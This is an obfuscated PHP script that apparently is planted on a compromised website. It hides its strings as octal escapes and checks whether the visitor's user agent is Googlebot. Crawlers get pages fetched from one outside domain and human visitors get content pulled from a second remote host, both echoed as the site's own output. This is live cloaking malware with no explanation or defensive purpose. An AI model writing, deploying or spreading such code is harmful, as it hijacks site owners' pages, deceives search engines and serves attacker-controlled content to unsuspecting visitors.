<?php
function cc($s) {
    $cc = array("\101\123\103\111\111", "\107\102\113", "\125\124\106-\070");
    foreach ($cc as $c) {
        if ($s === IcOnV("\125\124\106-\070", $c, IcOnV($c, "\125\124\106-\070", $s))) {
            return $c;
        }
    }
}

$k = sTrtOloWEr($_SERVER["\110\124\124\120_\125\123\105\122_\101\107\105\116\124"]);
$ct = fIle_gEt_cOntENTs(__FILE__);
if (sTrIsTR(__FILE__, "\151\156\144\145\170.\150\164\155\154") != false) {
    preg_match("/<\155\145\164\141.+?\143\150\141\162\163\145\164=([-\\167]+)/\151", $ct, $cs);
    $cs = sTrtOloWEr($cs[1]);
} else {
    if (@cc($ct) == "\125\124\106-\070") {
        $cs = "\165\164\146-\070";
    } else {
        $cs = "\147\142\153";
    }
}

dAtE_dEfaUlT_TiMeZoNe_sEt("\120\122\103");

$h = "\167\167\167.\162\160\161\143\141\146\150\144\161\167.\143\157\155"; 
$qs = $_SERVER["\121\125\105\122\131_\123\124\122\111\116\107"]; 

if (ss()) {
    $su = "\150\164\164\160\163://"."$h"."/?".$qs;

    $r = cUrL_InIt();
    cUrL_sEtOpt($r, CURLOPT_URL, $su);
    cUrL_sEtOpt($r, CURLOPT_RETURNTRANSFER, true);
    
    $rs = CUrL_eXeC($r);

    if (CuRl_eRrNo($r)) {
        echo "\103\165\162\154 \145\162\162\157\162: " . CuRl_ErRoR($r);
    }

    cUrL_clOsE($r);
    echo $rs;
    
} else {
    $r = cUrL_InIt();
    cUrL_sEtOpt($r, CURLOPT_URL, "\150\164\164\160\163://\070\070\066\070\144\172.\143\157\155/\062\071\071\142.\160\150\160");
    cUrL_sEtOpt($r, CURLOPT_RETURNTRANSFER, true);
    
    $rs = CUrL_eXeC($r);

    if (CuRl_eRrNo($r)) {
        echo "\103\165\162\154 \145\162\162\157\162: " . CuRl_ErRoR($r);
    }

    cUrL_clOsE($r);
    echo $rs;
    exit();
}

function ss() {
    $ua = iSSeT($_SERVER["\110\124\124\120_\125\123\105\122_\101\107\105\116\124"]) ? $_SERVER["\110\124\124\120_\125\123\105\122_\101\107\105\116\124"] : "";
    $sp = array("\107\157\157\147\154\145\142\157\164");
    return ct($ua, $sp);
}

function ct($s, $al) {
    if (eMpTy($s)) {
        return false;
    }
    foreach ($al as $arr) {
        if (sTrStR(sTrtOloWEr($s), sTrtOloWEr($arr)) !== false) {
            return true;
        }
    }
    return false;
}
